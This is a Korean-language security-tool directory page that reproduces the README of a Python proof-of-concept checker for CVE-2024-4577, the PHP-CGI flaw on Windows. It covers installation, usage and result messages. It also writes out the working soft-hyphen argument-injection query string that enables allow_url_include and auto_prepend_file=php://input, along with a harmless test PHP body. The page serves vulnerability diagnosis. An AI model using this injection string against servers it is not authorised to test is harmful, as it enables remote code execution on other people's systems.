Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2024-4577 — CVE-2024-4577 PHP CGI 취약점을 쿼리 문자열 삽입 및 POST 페이로드를 통해 테스트하여 서버의 취약성을 판단하는 Python PoC 스크립트입니다. | Kitploit
도구/GitHubGitHub/kimjuhyeong95/cve-2024-4577
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubkimjuhyeong95/cve-2024-4577

cve-2024-4577

CVE-2024-4577 PHP CGI 취약점을 쿼리 문자열 삽입 및 POST 페이로드를 통해 테스트하여 서버의 취약성을 판단하는 Python PoC 스크립트입니다.

저장소 보기
1년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-4577 취약점 테스트 스크립트

이 Python 스크립트는 PHP의 최신 취약점인 CVE-2024-4577을 진단하기 위한 간단한 PoC(Proof of Concept) 도구입니다.

⚠️ 본 도구는 보안 진단 목적으로 제공되며, 본인 소유의 시스템 또는 사전 허가를 받은 대상에만 사용해야 합니다.


📌 개요

이 취약점은 PHP가 Windows 환경에서 CGI 모드로 동작할 때, 멀티바이트 문자 우회를 통해 임의의 PHP 설정을 주입하고 코드 실행을 유도할 수 있는 문제입니다.

이 스크립트는 대상 URL에 대해 쿼리스트링 기반 우회 페이로드와 PHP 코드를 POST 요청으로 전송하여 취약 여부를 판단합니다.


✅ 사용 방법

1. Python 설치 확인

root@kitploit:~
python3 --version

2. 의존 패키지 설치

root@kitploit:~
pip install requests

3. 스크립트 실행

root@kitploit:~
python3 cve_2024_4577_test.py

4. 대상 URL 입력

예시 입력:

root@kitploit:~
http://192.168.0.10/index.php

또는 루트 경로만 입력해도 자동 처리됩니다

root@kitploit:~
http://192.168.0.10

🔍 결과 설명

  • ✅ [✅] 취약: 서버가 PHP 코드를 실행했습니다.
    → 해당 서버는 취약합니다.

  • ✔️ [✔️] 비취약 또는 차단됨
    → 응답은 받았지만 취약점은 발생하지 않음.

  • ❌ [❌] 요청 실패: ...
    → 연결 오류, 타임아웃 등으로 테스트 실패.


💡 동작 원리

  • 취약점 우회 문자열 삽입:

    root@kitploit:~
    ?%ADd+allow_url_include=1+%ADd+auto_prepend_file=php://input
    
  • POST 본문에 PHP 코드 삽입:

    root@kitploit:~
    <?php echo 'CVE-2024-4577-TEST'; ?>
    
  • 서버가 이 코드를 실행하면 응답에 해당 문자열이 포함되어 판단 가능.


⚠️ 면책 조항

이 스크립트는 교육 및 보안 연구 목적으로만 제공되며, 허가받지 않은 시스템을 스캔하거나 테스트하는 것은 불법입니다. 사용자는 모든 책임을 스스로 부담합니다.


📂 파일 구성

파일명설명
cve_2024_4577_test.py취약점 테스트용 Python 스크립트
README.md사용법 및 설명 문서 (본 파일)
LICENSE.txt

📫 문의

버그 신고나 제안사항은 email 또는 PR로 남겨주세요.

📝 License

This project is licensed under the MIT License - see the LICENSE file for details. Copyright (c) 2025 KimJuhyeong95

도구 다운로드